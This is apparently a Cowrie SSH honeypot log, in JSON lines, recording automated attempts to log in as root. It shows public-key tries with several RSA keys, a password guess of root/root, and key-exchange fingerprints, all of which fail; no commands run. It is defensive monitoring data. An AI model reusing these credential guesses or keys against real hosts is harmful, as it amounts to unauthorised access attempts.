{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:c7:13:2c:a4:40:41:71:06:f4:c4:e1:a4:3e:7d:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDetvVHd1FoNIHu2j2yPSX7SMKkZDkilivLSI7vypJfFnCWFW8177vipxy3aq1n8goWGDs0onTquM6KLZ2fvJviinfeorq8BuM9h6G6dBP3J9FgX1aV+qhhLHjvq1UDvqJ+4/4wc/uaLb9/u1acJxoZH8IwFkt4cJ7i2jJEqY3QBZEGIjpvwcBRL0UXxXTDcZsqFkCOQXElj00bn1H96WTSm306fr1BcUL5mzelFC4SV1vunaIBREQHN0W2VWK/iwFb+JwmzWFSGdiCC3dTsr2pkOP4/RVXT9vWu1dVNDmoG5ow33ohOFQ+PPnSaZcNsSVziPCD7l82qcMqMJrgyPaP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:c7:13:2c:a4:40:41:71:06:f4:c4:e1:a4:3e:7d:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:46.918419Z","src_ip":"68.235.61.155","session":"ee22cc8542b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:c7:13:2c:a4:40:41:71:06:f4:c4:e1:a4:3e:7d:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDetvVHd1FoNIHu2j2yPSX7SMKkZDkilivLSI7vypJfFnCWFW8177vipxy3aq1n8goWGDs0onTquM6KLZ2fvJviinfeorq8BuM9h6G6dBP3J9FgX1aV+qhhLHjvq1UDvqJ+4/4wc/uaLb9/u1acJxoZH8IwFkt4cJ7i2jJEqY3QBZEGIjpvwcBRL0UXxXTDcZsqFkCOQXElj00bn1H96WTSm306fr1BcUL5mzelFC4SV1vunaIBREQHN0W2VWK/iwFb+JwmzWFSGdiCC3dTsr2pkOP4/RVXT9vWu1dVNDmoG5ow33ohOFQ+PPnSaZcNsSVziPCD7l82qcMqMJrgyPaP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:46.922124Z","src_ip":"68.235.61.155","session":"ee22cc8542b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:3e:5f:5c:b2:dd:c8:72:d6:bb:49:50:8e:30:f3:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuwoYOdZqvkLn5dOz/tO/X0HSokocfrY5ZkMcpmHKzA2ou1/H6IseTdqTZMCVWs+XJsYWQ1em7VB7LqkI5hkyfbYMlPID8rKCJAU+yvLvRaI2HRLGqrMJ+osrPfyGCO/E5FS49kWnuGnNLIKOuLhgLEM3ztKPNcsQUGLsnMXbnv4nIQX2HOOpMpgwreA6HmkxrmMYZURvhm8T0blvMKeHpHm4UzhbzVacHohk6L3SF/eU8ph1+EouuE+tiZL9xf+Y8uQ70NGx6TqHvaQGPvE+zJe6mNt1PNWn3AJufX/FihcAnwQ9ivxyIXeryfUoRe6cx9snvL//bKaGJ5vTjlc5bw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:3e:5f:5c:b2:dd:c8:72:d6:bb:49:50:8e:30:f3:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:46.953316Z","src_ip":"68.235.61.155","session":"ee22cc8542b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:3e:5f:5c:b2:dd:c8:72:d6:bb:49:50:8e:30:f3:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuwoYOdZqvkLn5dOz/tO/X0HSokocfrY5ZkMcpmHKzA2ou1/H6IseTdqTZMCVWs+XJsYWQ1em7VB7LqkI5hkyfbYMlPID8rKCJAU+yvLvRaI2HRLGqrMJ+osrPfyGCO/E5FS49kWnuGnNLIKOuLhgLEM3ztKPNcsQUGLsnMXbnv4nIQX2HOOpMpgwreA6HmkxrmMYZURvhm8T0blvMKeHpHm4UzhbzVacHohk6L3SF/eU8ph1+EouuE+tiZL9xf+Y8uQ70NGx6TqHvaQGPvE+zJe6mNt1PNWn3AJufX/FihcAnwQ9ivxyIXeryfUoRe6cx9snvL//bKaGJ5vTjlc5bw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:46.956799Z","src_ip":"68.235.61.155","session":"ee22cc8542b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:a0:52:45:da:3a:84:d7:eb:67:b9:34:77:c3:1a:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCoaf08f1OqPENIU/LLM+vbpTA0l8tDQswMyuylqNYkeiEfwqfLQUdTyYFNLQPlOkz2xYF8gF+hJavbgGWBW09CzHv128IAf3teN5NW+VAQlz/HqLhXird2PiZcjYpgRWrjR9P1PsskCyT6prYwyOnNO8S3EFm9o38/IpcQTmNSzVSJKQzSj2kKUGmelF9auzuTM4p+PRvQnaWiClJMAyd3mJpFUo1kwqkb+TeXsD0ew9NKNBiOLLq3YwDpxoZMoVOrBCaSXFBRtfupEnBuxiEMaFFWPHqtTrV9b3WIKo/EqGb2dSxbtA07gc+Vc8pK7q96V/UjgtV7LTkcFYewePyKQHQtwH8LogHKXqVF23/4QTqyqhVM6p1MP0vtM0dZJB5RJLG+MZooOD4wCoPHlFgwhs4vAztLJSExBuRhenhejquvtjKP6bruEUaRtMQbD3RikJuydCOZ/L+CPSdEi4iCAdxBGWuZ1fHCTMgMJ9lVtXsp9EPqPtB9V9u7DNnGjaZM/LNZP+sEyaWZiq2TE4/J9z1ulHOhmBWfxv8QW+xHIMkuVbNVBBtStyiwPC+Iq5/Uvvk+XpLutOmsuRaBDaSCMP65yRN8GK1qf0Po/Gc/v7kngrBEb4PJzf0drE33Bk5B4TbOpEodOdIVgkmFZsBx8K12QjUY4FqCAXy1VGqtow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:a0:52:45:da:3a:84:d7:eb:67:b9:34:77:c3:1a:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:46.987565Z","src_ip":"68.235.61.155","session":"ee22cc8542b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:a0:52:45:da:3a:84:d7:eb:67:b9:34:77:c3:1a:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCoaf08f1OqPENIU/LLM+vbpTA0l8tDQswMyuylqNYkeiEfwqfLQUdTyYFNLQPlOkz2xYF8gF+hJavbgGWBW09CzHv128IAf3teN5NW+VAQlz/HqLhXird2PiZcjYpgRWrjR9P1PsskCyT6prYwyOnNO8S3EFm9o38/IpcQTmNSzVSJKQzSj2kKUGmelF9auzuTM4p+PRvQnaWiClJMAyd3mJpFUo1kwqkb+TeXsD0ew9NKNBiOLLq3YwDpxoZMoVOrBCaSXFBRtfupEnBuxiEMaFFWPHqtTrV9b3WIKo/EqGb2dSxbtA07gc+Vc8pK7q96V/UjgtV7LTkcFYewePyKQHQtwH8LogHKXqVF23/4QTqyqhVM6p1MP0vtM0dZJB5RJLG+MZooOD4wCoPHlFgwhs4vAztLJSExBuRhenhejquvtjKP6bruEUaRtMQbD3RikJuydCOZ/L+CPSdEi4iCAdxBGWuZ1fHCTMgMJ9lVtXsp9EPqPtB9V9u7DNnGjaZM/LNZP+sEyaWZiq2TE4/J9z1ulHOhmBWfxv8QW+xHIMkuVbNVBBtStyiwPC+Iq5/Uvvk+XpLutOmsuRaBDaSCMP65yRN8GK1qf0Po/Gc/v7kngrBEb4PJzf0drE33Bk5B4TbOpEodOdIVgkmFZsBx8K12QjUY4FqCAXy1VGqtow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:46.991913Z","src_ip":"68.235.61.155","session":"ee22cc8542b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:47.025686Z","src_ip":"68.235.61.155","session":"ee22cc8542b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:47.031328Z","src_ip":"200.26.188.219","session":"f602c6858075","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:a9:bf:1b:15:c4:4b:57:19:7f:52:71:4f:bd:d8:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5puW/27VCZOxCOJoqkX+zJS+sjkglaKrVlXU1cRwf12zJRwHdU1EkmaHf06rx2fqFeyyPIogExinQHFrHDmfr0tI9JFYdoaZpn4fsHFljvE39eAs2zLSgwC+dS914ij47ADEprxd21XwHSkMcYYvVv9AjigWr8Y9EHH0RENXgC6Lmes1cXy1PWirPyN42hrrBznCBjZqs4sAAQUbXh1HoNvLYVC0IS7Bpoe2/8fzXEKOLA9KTBTxnu4kmbUa6WmC8EzL32x9gI1wcdKq2wp3+ogs11Ah4B1oYtJDqqxrnouJ7u/d0eeMncPSRSoTZVidcrqsRrgYlkgo+TOYSXNY4XL/NlQqMLY8BE3F8+9Y/cgjhwKiw+EMB5M6UvyFneAeRz+wPc543j+9tdpAv7GgdBkarld8CYPtggwGJS1tq0AyjmnOAOejSehqGUy+vQQiSWJ9Sk2UwyyhBQUA5cJ2oAtSW2lAJM4jOb8Adr91ZlU48ScrcYd4DRvgX3VtaW9wFi3n/kl5lmLYhf6Nx/LmiDAS8pya4/StQrNfdk9c982lPr6b9+Y8Vt5HfrvBLWdbHO7NogJV5W4uEst7a+IEStlL1cthh6oPzv3OeHGTA8biG2lWQhPUdOkE/sHWSkwy7/LuPqgLBNjQs8B2A5+2GpBfGYMOe7F1lOXljsD7J+w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:a9:bf:1b:15:c4:4b:57:19:7f:52:71:4f:bd:d8:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:47.603670Z","src_ip":"200.26.188.219","session":"f602c6858075","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:a9:bf:1b:15:c4:4b:57:19:7f:52:71:4f:bd:d8:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5puW/27VCZOxCOJoqkX+zJS+sjkglaKrVlXU1cRwf12zJRwHdU1EkmaHf06rx2fqFeyyPIogExinQHFrHDmfr0tI9JFYdoaZpn4fsHFljvE39eAs2zLSgwC+dS914ij47ADEprxd21XwHSkMcYYvVv9AjigWr8Y9EHH0RENXgC6Lmes1cXy1PWirPyN42hrrBznCBjZqs4sAAQUbXh1HoNvLYVC0IS7Bpoe2/8fzXEKOLA9KTBTxnu4kmbUa6WmC8EzL32x9gI1wcdKq2wp3+ogs11Ah4B1oYtJDqqxrnouJ7u/d0eeMncPSRSoTZVidcrqsRrgYlkgo+TOYSXNY4XL/NlQqMLY8BE3F8+9Y/cgjhwKiw+EMB5M6UvyFneAeRz+wPc543j+9tdpAv7GgdBkarld8CYPtggwGJS1tq0AyjmnOAOejSehqGUy+vQQiSWJ9Sk2UwyyhBQUA5cJ2oAtSW2lAJM4jOb8Adr91ZlU48ScrcYd4DRvgX3VtaW9wFi3n/kl5lmLYhf6Nx/LmiDAS8pya4/StQrNfdk9c982lPr6b9+Y8Vt5HfrvBLWdbHO7NogJV5W4uEst7a+IEStlL1cthh6oPzv3OeHGTA8biG2lWQhPUdOkE/sHWSkwy7/LuPqgLBNjQs8B2A5+2GpBfGYMOe7F1lOXljsD7J+w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:47.607090Z","src_ip":"200.26.188.219","session":"f602c6858075","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:7c:f8:5b:cc:44:72:7e:3e:c1:6c:5a:d2:8f:cf:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoNMt6qqbpP8rTGY8aYaNDGfTNlwE0UAT2RuEeNbcTqB6Bej/4S83Z/tlkQd8woJ6yft5xWZwr7AytNOIkHJRJdt7k+0+v3fuNsz/GLBr0HUoXDaac7dXwGZImbfsBfUK5ucKNokkqdno+MYp3vX4uZ/KuBZwRILJfysWQq3zN4DKRRv7VROCBx92EwW6Kn8zYfeJnkrKHLBuBLgmZP7DwKXYxaENI3jpzRgZ1BwYvuzUTea3papd2lyimSIMgz2V5fsT9Sgemf65Ism4ZktBs9VExM67Jghv59rHzwEhCsHIdUY7uAI5PhTvBXL8s1N+BBswVFrYA9qqPlRCvQv6t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:7c:f8:5b:cc:44:72:7e:3e:c1:6c:5a:d2:8f:cf:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:47.727304Z","src_ip":"200.26.188.219","session":"f602c6858075","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:7c:f8:5b:cc:44:72:7e:3e:c1:6c:5a:d2:8f:cf:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoNMt6qqbpP8rTGY8aYaNDGfTNlwE0UAT2RuEeNbcTqB6Bej/4S83Z/tlkQd8woJ6yft5xWZwr7AytNOIkHJRJdt7k+0+v3fuNsz/GLBr0HUoXDaac7dXwGZImbfsBfUK5ucKNokkqdno+MYp3vX4uZ/KuBZwRILJfysWQq3zN4DKRRv7VROCBx92EwW6Kn8zYfeJnkrKHLBuBLgmZP7DwKXYxaENI3jpzRgZ1BwYvuzUTea3papd2lyimSIMgz2V5fsT9Sgemf65Ism4ZktBs9VExM67Jghv59rHzwEhCsHIdUY7uAI5PhTvBXL8s1N+BBswVFrYA9qqPlRCvQv6t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:47.730307Z","src_ip":"200.26.188.219","session":"f602c6858075","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:c7:13:2c:a4:40:41:71:06:f4:c4:e1:a4:3e:7d:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDetvVHd1FoNIHu2j2yPSX7SMKkZDkilivLSI7vypJfFnCWFW8177vipxy3aq1n8goWGDs0onTquM6KLZ2fvJviinfeorq8BuM9h6G6dBP3J9FgX1aV+qhhLHjvq1UDvqJ+4/4wc/uaLb9/u1acJxoZH8IwFkt4cJ7i2jJEqY3QBZEGIjpvwcBRL0UXxXTDcZsqFkCOQXElj00bn1H96WTSm306fr1BcUL5mzelFC4SV1vunaIBREQHN0W2VWK/iwFb+JwmzWFSGdiCC3dTsr2pkOP4/RVXT9vWu1dVNDmoG5ow33ohOFQ+PPnSaZcNsSVziPCD7l82qcMqMJrgyPaP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:c7:13:2c:a4:40:41:71:06:f4:c4:e1:a4:3e:7d:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:47.850467Z","src_ip":"200.26.188.219","session":"f602c6858075","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:c7:13:2c:a4:40:41:71:06:f4:c4:e1:a4:3e:7d:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDetvVHd1FoNIHu2j2yPSX7SMKkZDkilivLSI7vypJfFnCWFW8177vipxy3aq1n8goWGDs0onTquM6KLZ2fvJviinfeorq8BuM9h6G6dBP3J9FgX1aV+qhhLHjvq1UDvqJ+4/4wc/uaLb9/u1acJxoZH8IwFkt4cJ7i2jJEqY3QBZEGIjpvwcBRL0UXxXTDcZsqFkCOQXElj00bn1H96WTSm306fr1BcUL5mzelFC4SV1vunaIBREQHN0W2VWK/iwFb+JwmzWFSGdiCC3dTsr2pkOP4/RVXT9vWu1dVNDmoG5ow33ohOFQ+PPnSaZcNsSVziPCD7l82qcMqMJrgyPaP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:47.854159Z","src_ip":"200.26.188.219","session":"f602c6858075","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:3e:5f:5c:b2:dd:c8:72:d6:bb:49:50:8e:30:f3:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuwoYOdZqvkLn5dOz/tO/X0HSokocfrY5ZkMcpmHKzA2ou1/H6IseTdqTZMCVWs+XJsYWQ1em7VB7LqkI5hkyfbYMlPID8rKCJAU+yvLvRaI2HRLGqrMJ+osrPfyGCO/E5FS49kWnuGnNLIKOuLhgLEM3ztKPNcsQUGLsnMXbnv4nIQX2HOOpMpgwreA6HmkxrmMYZURvhm8T0blvMKeHpHm4UzhbzVacHohk6L3SF/eU8ph1+EouuE+tiZL9xf+Y8uQ70NGx6TqHvaQGPvE+zJe6mNt1PNWn3AJufX/FihcAnwQ9ivxyIXeryfUoRe6cx9snvL//bKaGJ5vTjlc5bw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:3e:5f:5c:b2:dd:c8:72:d6:bb:49:50:8e:30:f3:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:47.974394Z","src_ip":"200.26.188.219","session":"f602c6858075","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:3e:5f:5c:b2:dd:c8:72:d6:bb:49:50:8e:30:f3:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuwoYOdZqvkLn5dOz/tO/X0HSokocfrY5ZkMcpmHKzA2ou1/H6IseTdqTZMCVWs+XJsYWQ1em7VB7LqkI5hkyfbYMlPID8rKCJAU+yvLvRaI2HRLGqrMJ+osrPfyGCO/E5FS49kWnuGnNLIKOuLhgLEM3ztKPNcsQUGLsnMXbnv4nIQX2HOOpMpgwreA6HmkxrmMYZURvhm8T0blvMKeHpHm4UzhbzVacHohk6L3SF/eU8ph1+EouuE+tiZL9xf+Y8uQ70NGx6TqHvaQGPvE+zJe6mNt1PNWn3AJufX/FihcAnwQ9ivxyIXeryfUoRe6cx9snvL//bKaGJ5vTjlc5bw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:47.978002Z","src_ip":"200.26.188.219","session":"f602c6858075","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:a0:52:45:da:3a:84:d7:eb:67:b9:34:77:c3:1a:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCoaf08f1OqPENIU/LLM+vbpTA0l8tDQswMyuylqNYkeiEfwqfLQUdTyYFNLQPlOkz2xYF8gF+hJavbgGWBW09CzHv128IAf3teN5NW+VAQlz/HqLhXird2PiZcjYpgRWrjR9P1PsskCyT6prYwyOnNO8S3EFm9o38/IpcQTmNSzVSJKQzSj2kKUGmelF9auzuTM4p+PRvQnaWiClJMAyd3mJpFUo1kwqkb+TeXsD0ew9NKNBiOLLq3YwDpxoZMoVOrBCaSXFBRtfupEnBuxiEMaFFWPHqtTrV9b3WIKo/EqGb2dSxbtA07gc+Vc8pK7q96V/UjgtV7LTkcFYewePyKQHQtwH8LogHKXqVF23/4QTqyqhVM6p1MP0vtM0dZJB5RJLG+MZooOD4wCoPHlFgwhs4vAztLJSExBuRhenhejquvtjKP6bruEUaRtMQbD3RikJuydCOZ/L+CPSdEi4iCAdxBGWuZ1fHCTMgMJ9lVtXsp9EPqPtB9V9u7DNnGjaZM/LNZP+sEyaWZiq2TE4/J9z1ulHOhmBWfxv8QW+xHIMkuVbNVBBtStyiwPC+Iq5/Uvvk+XpLutOmsuRaBDaSCMP65yRN8GK1qf0Po/Gc/v7kngrBEb4PJzf0drE33Bk5B4TbOpEodOdIVgkmFZsBx8K12QjUY4FqCAXy1VGqtow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:a0:52:45:da:3a:84:d7:eb:67:b9:34:77:c3:1a:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:48.100003Z","src_ip":"200.26.188.219","session":"f602c6858075","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:a0:52:45:da:3a:84:d7:eb:67:b9:34:77:c3:1a:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCoaf08f1OqPENIU/LLM+vbpTA0l8tDQswMyuylqNYkeiEfwqfLQUdTyYFNLQPlOkz2xYF8gF+hJavbgGWBW09CzHv128IAf3teN5NW+VAQlz/HqLhXird2PiZcjYpgRWrjR9P1PsskCyT6prYwyOnNO8S3EFm9o38/IpcQTmNSzVSJKQzSj2kKUGmelF9auzuTM4p+PRvQnaWiClJMAyd3mJpFUo1kwqkb+TeXsD0ew9NKNBiOLLq3YwDpxoZMoVOrBCaSXFBRtfupEnBuxiEMaFFWPHqtTrV9b3WIKo/EqGb2dSxbtA07gc+Vc8pK7q96V/UjgtV7LTkcFYewePyKQHQtwH8LogHKXqVF23/4QTqyqhVM6p1MP0vtM0dZJB5RJLG+MZooOD4wCoPHlFgwhs4vAztLJSExBuRhenhejquvtjKP6bruEUaRtMQbD3RikJuydCOZ/L+CPSdEi4iCAdxBGWuZ1fHCTMgMJ9lVtXsp9EPqPtB9V9u7DNnGjaZM/LNZP+sEyaWZiq2TE4/J9z1ulHOhmBWfxv8QW+xHIMkuVbNVBBtStyiwPC+Iq5/Uvvk+XpLutOmsuRaBDaSCMP65yRN8GK1qf0Po/Gc/v7kngrBEb4PJzf0drE33Bk5B4TbOpEodOdIVgkmFZsBx8K12QjUY4FqCAXy1VGqtow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:48.103558Z","src_ip":"200.26.188.219","session":"f602c6858075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:48.223531Z","src_ip":"200.26.188.219","session":"f602c6858075","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaf203fb4530","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: eaf203fb4530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:56.605566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:56.610595Z","src_ip":"23.97.62.150","session":"eaf203fb4530","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:56.846272Z","src_ip":"23.97.62.150","session":"eaf203fb4530","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:57.552748Z","src_ip":"23.97.62.150","session":"eaf203fb4530","protocol":"ssh"}
